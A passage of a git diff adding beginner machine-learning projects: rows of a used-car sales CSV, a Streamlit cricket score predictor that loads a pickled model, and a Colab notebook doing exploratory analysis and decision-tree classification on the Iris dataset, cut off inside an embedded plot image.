+Nissan Sunny Diesel XL,2012,300000,110000,Diesel,Individual,Manual,First Owner +Hyundai Santro GS,2005,80000,56580,Petrol,Dealer,Manual,First Owner +Mahindra XUV500 AT W8 FWD,2015,740000,45000,Diesel,Dealer,Automatic,First Owner +Mahindra Scorpio S10 7 Seater,2015,630000,50000,Diesel,Individual,Manual,First Owner +Hyundai Santro Xing XG,2005,70000,68500,Petrol,Dealer,Manual,First Owner +Hyundai Santro Sportz AMT,2019,484999,5007,Petrol,Dealer,Automatic,First Owner +Nissan Micra Active XV S,2013,164000,30000,Petrol,Individual,Manual,First Owner +Honda City 1.5 V AT,2008,140000,70000,Petrol,Individual,Automatic,First Owner +Mercedes-Benz E-Class E250 CDI Elegance,2011,999000,49600,Diesel,Dealer,Automatic,First Owner +Maruti Alto LXI,2005,56000,23000,Petrol,Individual,Manual,Second Owner +BMW 7 Series 730Ld,2006,1050000,30000,Diesel,Dealer,Automatic,First Owner +Hyundai Verna 1.6 VTVT,2010,190000,38000,Petrol,Dealer,Manual,First Owner +Audi Q5 3.0 TDI Quattro Technology,2018,3899000,22000,Diesel,Dealer,Automatic,First Owner +Maruti Ritz VDi,2011,150000,40000,Diesel,Individual,Manual,Second Owner +Hyundai i10 Sportz 1.2,2011,235000,43100,Petrol,Dealer,Manual,First Owner +Mahindra Xylo H4,2019,599000,15000,Diesel,Individual,Manual,Third Owner +Maruti Alto 800 LXI,2018,200000,35000,Petrol,Individual,Manual,First Owner +Datsun GO Plus T,2017,350000,10171,Petrol,Dealer,Manual,First Owner +Renault Duster 110PS Diesel RxL,2015,465000,41123,Diesel,Dealer,Manual,First Owner +Toyota Camry Hybrid 2.5,2017,1900000,20118,Petrol,Dealer,Automatic,First Owner +Maruti Ertiga 1.5 VDI,2019,1000000,15000,Diesel,Individual,Manual,First Owner +Ford Endeavour 2.2 Titanium AT 4X2,2019,2800000,10000,Diesel,Individual,Automatic,First Owner +Maruti Swift Dzire VDI,2015,470000,170000,Diesel,Individual,Manual,First Owner +Maruti Celerio ZXI,2017,415000,20000,Petrol,Individual,Manual,First Owner +Nissan Terrano XL 85 PS,2014,500000,82000,Diesel,Individual,Manual,First Owner +Chevrolet Spark 1.0 LT BS3,2013,150000,60000,Petrol,Individual,Manual,Second Owner +Maruti Alto STD,2005,95000,50000,Petrol,Individual,Manual,Second Owner +Maruti Swift LDI,2012,400000,70000,Diesel,Individual,Manual,First Owner +Maruti Alto LX,2008,114999,66782,Petrol,Individual,Manual,Second Owner +Maruti Alto LX,2006,75000,130000,Petrol,Individual,Manual,First Owner +Hyundai Verna 1.6 SX CRDi (O),2013,500000,120000,Diesel,Individual,Manual,First Owner +Maruti 800 AC,2014,195000,75000,Petrol,Individual,Manual,Second Owner +Maruti Alto 800 Base,2015,155000,40000,Petrol,Individual,Manual,First Owner +Maruti Alto LXi,2000,65000,90000,Petrol,Individual,Manual,Second Owner +Honda City 1.5 GXI,2005,65000,150000,Petrol,Individual,Manual,Third Owner +Tata Nano XM,2015,190000,60000,Petrol,Individual,Manual,Second Owner +Mahindra Verito 1.5 D6 BSIII,2012,200000,112198,Diesel,Individual,Manual,Second Owner +Tata Manza Aura Safire BS IV,2010,160000,60000,Petrol,Individual,Manual,Second Owner +Tata Indica Vista Aqua 1.4 TDI,2010,150000,130000,Diesel,Individual,Manual,Second Owner +Ford EcoSport 1.5 TDCi Titanium BSIV,2015,530000,175000,Diesel,Individual,Manual,Third Owner +Mahindra Scorpio S2 7 Seater,2015,750000,120000,Diesel,Individual,Manual,First Owner +Maruti Ritz VDi,2012,225000,90000,Diesel,Individual,Manual,Second Owner +Toyota Innova 2.5 VX (Diesel) 8 Seater BS IV,2012,600000,170000,Diesel,Individual,Manual,First Owner +Hyundai i20 Magna 1.4 CRDi (Diesel),2014,409999,80000,Diesel,Individual,Manual,Second Owner +Hyundai i20 Magna 1.4 CRDi,2014,409999,80000,Diesel,Individual,Manual,Second Owner +Maruti 800 AC BSIII,2009,110000,83000,Petrol,Individual,Manual,Second Owner +Hyundai Creta 1.6 CRDi SX Option,2016,865000,90000,Diesel,Individual,Manual,First Owner +Renault KWID RXT,2016,225000,40000,Petrol,Individual,Manual,First Owner diff --git a/MachineLearning Projects/Cricket Score Predictor/README.md b/MachineLearning Projects/Cricket Score Predictor/README.md new file mode 100644 index 00000000..a5e57059 --- /dev/null +++ b/MachineLearning Projects/Cricket Score Predictor/README.md @@ -0,0 +1,8 @@ +# Cricket score predictor + +This is a machine learning based project built with python and a model that's been trained specifically to predict cricket scores of upcoming matches with as much canonicity and +accuracy possible. + +Here's a demonstration snapshot of our project. + +![MicrosoftTeams-image](https://user-images.githubusercontent.com/113302353/198577345-949da015-15cb-4dab-9cdc-6ad4a9f0bb3d.png) diff --git a/MachineLearning Projects/Cricket Score Predictor/app.py b/MachineLearning Projects/Cricket Score Predictor/app.py new file mode 100644 index 00000000..83f11e9c --- /dev/null +++ b/MachineLearning Projects/Cricket Score Predictor/app.py @@ -0,0 +1,86 @@ +import streamlit as st +import pickle +import pandas as pd +import numpy as np + +pipe = pickle.load(open('pipe.pkl','rb')) + +teams = ['Australia', + 'India', + 'Bangladesh', + 'New Zealand', + 'South Africa', + 'England', + 'West Indies', + 'Afghanistan', + 'Pakistan', + 'Sri Lanka'] + +cities = ['Colombo', + 'Mirpur', + 'Johannesburg', + 'Dubai', + 'Auckland', + 'Cape Town', + 'London', + 'Pallekele', + 'Barbados', + 'Sydney', + 'Melbourne', + 'Durban', + 'St Lucia', + 'Wellington', + 'Lauderhill', + 'Hamilton', + 'Centurion', + 'Manchester', + 'Abu Dhabi', + 'Mumbai', + 'Nottingham', + 'Southampton', + 'Mount Maunganui', + 'Chittagong', + 'Kolkata', + 'Lahore', + 'Delhi', + 'Nagpur', + 'Chandigarh', + 'Adelaide', + 'Bangalore', + 'St Kitts', + 'Cardiff', + 'Christchurch', + 'Trinidad'] + +st.title('Cricket Score Predictor') + +col1, col2 = st.columns(2) + +with col1: + batting_team = st.selectbox('Select batting team',sorted(teams)) +with col2: + bowling_team = st.selectbox('Select bowling team', sorted(teams)) + +city = st.selectbox('Select city',sorted(cities)) + +col3,col4,col5 = st.columns(3) + +with col3: + current_score = st.number_input('Current Score') +with col4: + overs = st.number_input('Overs done(works for over>5)') +with col5: + wickets = st.number_input('Wickets out') + +last_five = st.number_input('Runs scored in last 5 overs') + +if st.button('Predict Score'): + balls_left = 120 - (overs * 6) + wickets_left = 10 - wickets + crr = current_score / overs + + input_df = pd.DataFrame( + {'batting_team': [batting_team], 'bowling_team': [bowling_team], 'city': city, 'current_score': [current_score], + 'balls_left': [balls_left], 'wickets_left': [wickets], 'crr': [crr], 'last_five': [last_five]}) + result = pipe.predict(input_df) + st.header("Predicted Score - " + str(int(result[0]))) \ No newline at end of file diff --git a/MachineLearning Projects/Cricket Score Predictor/pipe.pkl b/MachineLearning Projects/Cricket Score Predictor/pipe.pkl new file mode 100644 index 00000000..68873654 Binary files /dev/null and b/MachineLearning Projects/Cricket Score Predictor/pipe.pkl differ diff --git a/MachineLearning Projects/Decision Tree/Prediction_using_Decision_Tree_Algorithm.ipynb b/MachineLearning Projects/Decision Tree/Prediction_using_Decision_Tree_Algorithm.ipynb new file mode 100644 index 00000000..2dacd045 --- /dev/null +++ b/MachineLearning Projects/Decision Tree/Prediction_using_Decision_Tree_Algorithm.ipynb @@ -0,0 +1,2185 @@ +{ + "nbformat": 4, + "nbformat_minor": 0, + "metadata": { + "colab": { + "provenance": [] + }, + "kernelspec": { + "name": "python3", + "display_name": "Python 3" + }, + "language_info": { + "name": "python" + } + }, + "cells": [ + { + "cell_type": "markdown", + "source": [ + "#**PREDICTION USING DECISION TREE ALGORITHM**" + ], + "metadata": { + "id": "JlGhNnL-v5aW" + } + }, + { + "cell_type": "code", + "execution_count": 1, + "metadata": { + "id": "dw0Pqo-qqi_j" + }, + "outputs": [], + "source": [ + "import numpy as np\n", + "import pandas as pd\n", + "import matplotlib.pyplot as plt\n", + "import seaborn as sns" + ] + }, + { + "cell_type": "markdown", + "source": [ + "#**EDA**" + ], + "metadata": { + "id": "A8JMI8Lsqxug" + } + }, + { + "cell_type": "code", + "source": [ + "columns = ['Sepal length','Sepal width','Petal length','Petal width','Class']\n", + "df = pd.read_csv('iris.csv',names=columns)\n", + "df.reset_index(drop=True)" + ], + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 424 + }, + "id": "j0of_CGoq3YF", + "outputId": "b27ff13d-eaa0-4bd4-ce14-864066c55c08" + }, + "execution_count": 2, + "outputs": [ + { + "output_type": "execute_result", + "data": { + "text/plain": [ + " Sepal length Sepal width Petal length Petal width Class\n", + "0 5.1 3.5 1.4 0.2 Iris-setosa\n", + "1 4.9 3.0 1.4 0.2 Iris-setosa\n", + "2 4.7 3.2 1.3 0.2 Iris-setosa\n", + "3 4.6 3.1 1.5 0.2 Iris-setosa\n", + "4 5.0 3.6 1.4 0.2 Iris-setosa\n", + ".. ... ... ... ... ...\n", + "145 6.7 3.0 5.2 2.3 Iris-virginica\n", + "146 6.3 2.5 5.0 1.9 Iris-virginica\n", + "147 6.5 3.0 5.2 2.0 Iris-virginica\n", + "148 6.2 3.4 5.4 2.3 Iris-virginica\n", + "149 5.9 3.0 5.1 1.8 Iris-virginica\n", + "\n", + "[150 rows x 5 columns]" + ], + "text/html": [ + "\n", + "
\n", + "
\n", + "
\n", + "\n", + "\n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + "
Sepal lengthSepal widthPetal lengthPetal widthClass
05.13.51.40.2Iris-setosa
14.93.01.40.2Iris-setosa
24.73.21.30.2Iris-setosa
34.63.11.50.2Iris-setosa
45.03.61.40.2Iris-setosa
..................
1456.73.05.22.3Iris-virginica
1466.32.55.01.9Iris-virginica
1476.53.05.22.0Iris-virginica
1486.23.45.42.3Iris-virginica
1495.93.05.11.8Iris-virginica
\n", + "

150 rows × 5 columns

\n", + "
\n", + " \n", + " \n", + " \n", + "\n", + " \n", + "
\n", + "
\n", + " " + ] + }, + "metadata": {}, + "execution_count": 2 + } + ] + }, + { + "cell_type": "code", + "source": [ + "df.head()" + ], + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 206 + }, + "id": "BvJKuC5OrILd", + "outputId": "49260c9d-5b8d-40fe-d4db-d41b474ab80f" + }, + "execution_count": 3, + "outputs": [ + { + "output_type": "execute_result", + "data": { + "text/plain": [ + " Sepal length Sepal width Petal length Petal width Class\n", + "0 5.1 3.5 1.4 0.2 Iris-setosa\n", + "1 4.9 3.0 1.4 0.2 Iris-setosa\n", + "2 4.7 3.2 1.3 0.2 Iris-setosa\n", + "3 4.6 3.1 1.5 0.2 Iris-setosa\n", + "4 5.0 3.6 1.4 0.2 Iris-setosa" + ], + "text/html": [ + "\n", + "
\n", + "
\n", + "
\n", + "\n", + "\n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + "
Sepal lengthSepal widthPetal lengthPetal widthClass
05.13.51.40.2Iris-setosa
14.93.01.40.2Iris-setosa
24.73.21.30.2Iris-setosa
34.63.11.50.2Iris-setosa
45.03.61.40.2Iris-setosa
\n", + "
\n", + " \n", + " \n", + " \n", + "\n", + " \n", + "
\n", + "
\n", + " " + ] + }, + "metadata": {}, + "execution_count": 3 + } + ] + }, + { + "cell_type": "code", + "source": [ + "df.shape" + ], + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "mRuHRUsPrmR0", + "outputId": "d7e89c1a-7a3d-4fb6-f922-31fea6483837" + }, + "execution_count": 4, + "outputs": [ + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "(150, 5)" + ] + }, + "metadata": {}, + "execution_count": 4 + } + ] + }, + { + "cell_type": "code", + "source": [ + "df.isnull().sum()" + ], + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "HMOjmXIwroKP", + "outputId": "024d4cac-e5fb-46f0-9e41-575e27c9ac4b" + }, + "execution_count": 5, + "outputs": [ + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "Sepal length 0\n", + "Sepal width 0\n", + "Petal length 0\n", + "Petal width 0\n", + "Class 0\n", + "dtype: int64" + ] + }, + "metadata": {}, + "execution_count": 5 + } + ] + }, + { + "cell_type": "code", + "source": [ + "df.info()" + ], + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "2zgap98Lrt_D", + "outputId": "d3142e3a-0101-49c5-cf8d-2124fd3aef39" + }, + "execution_count": 6, + "outputs": [ + { + "output_type": "stream", + "name": "stdout", + "text": [ + "\n", + "RangeIndex: 150 entries, 0 to 149\n", + "Data columns (total 5 columns):\n", + " # Column Non-Null Count Dtype \n", + "--- ------ -------------- ----- \n", + " 0 Sepal length 150 non-null float64\n", + " 1 Sepal width 150 non-null float64\n", + " 2 Petal length 150 non-null float64\n", + " 3 Petal width 150 non-null float64\n", + " 4 Class 150 non-null object \n", + "dtypes: float64(4), object(1)\n", + "memory usage: 6.0+ KB\n" + ] + } + ] + }, + { + "cell_type": "code", + "source": [ + "df.duplicated().value_counts()" + ], + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "98ccRE70rxsG", + "outputId": "d4787c15-d1cb-44bc-d461-7ba786d21ade" + }, + "execution_count": 7, + "outputs": [ + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "False 147\n", + "True 3\n", + "dtype: int64" + ] + }, + "metadata": {}, + "execution_count": 7 + } + ] + }, + { + "cell_type": "code", + "source": [ + "df['Class'].replace({'Iris-setosa':1,'Iris-versicolor':2,'Iris-virginica':3},inplace=True)" + ], + "metadata": { + "id": "xJd7HQ8Jr10l" + }, + "execution_count": 8, + "outputs": [] + }, + { + "cell_type": "code", + "source": [ + "df.corr()" + ], + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 206 + }, + "id": "2IdfY8Ger5cl", + "outputId": "61788484-0574-4e40-a2b2-e8d2b63c8162" + }, + "execution_count": 9, + "outputs": [ + { + "output_type": "execute_result", + "data": { + "text/plain": [ + " Sepal length Sepal width Petal length Petal width Class\n", + "Sepal length 1.000000 -0.109369 0.871754 0.817954 0.782561\n", + "Sepal width -0.109369 1.000000 -0.420516 -0.356544 -0.419446\n", + "Petal length 0.871754 -0.420516 1.000000 0.962757 0.949043\n", + "Petal width 0.817954 -0.356544 0.962757 1.000000 0.956464\n", + "Class 0.782561 -0.419446 0.949043 0.956464 1.000000" + ], + "text/html": [ + "\n", + "
\n", + "
\n", + "
\n", + "\n", + "\n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + "
Sepal lengthSepal widthPetal lengthPetal widthClass
Sepal length1.000000-0.1093690.8717540.8179540.782561
Sepal width-0.1093691.000000-0.420516-0.356544-0.419446
Petal length0.871754-0.4205161.0000000.9627570.949043
Petal width0.817954-0.3565440.9627571.0000000.956464
Class0.782561-0.4194460.9490430.9564641.000000
\n", + "
\n", + " \n", + " \n", + " \n", + "\n", + " \n", + "
\n", + "
\n", + " " + ] + }, + "metadata": {}, + "execution_count": 9 + } + ] + }, + { + "cell_type": "code", + "source": [ + "df['Class'].unique()" + ], + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "Snpqvc7BsFmw", + "outputId": "1a83f593-cc1f-4b7d-ec1d-8f4afef7be77" + }, + "execution_count": 10, + "outputs": [ + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "array([1, 2, 3])" + ] + }, + "metadata": {}, + "execution_count": 10 + } + ] + }, + { + "cell_type": "markdown", + "source": [ + "#**Data Visualization**" + ], + "metadata": { + "id": "JbT2shxrsQ6W" + } + }, + { + "cell_type": "code", + "source": [ + "sns.scatterplot(x='Petal length',y='Petal width',data=df,hue='Class')" + ], + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 297 + }, + "id": "hRf19geKsKBi", + "outputId": "f5929b68-77f0-4cfe-f43b-4356c9343f9f" + }, + "execution_count": 11, + "outputs": [ + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "" + ] + }, + "metadata": {}, + "execution_count": 11 + }, + { + "output_type": "display_data", + "data": { + "text/plain": [ + "
" + ], + "image/png": "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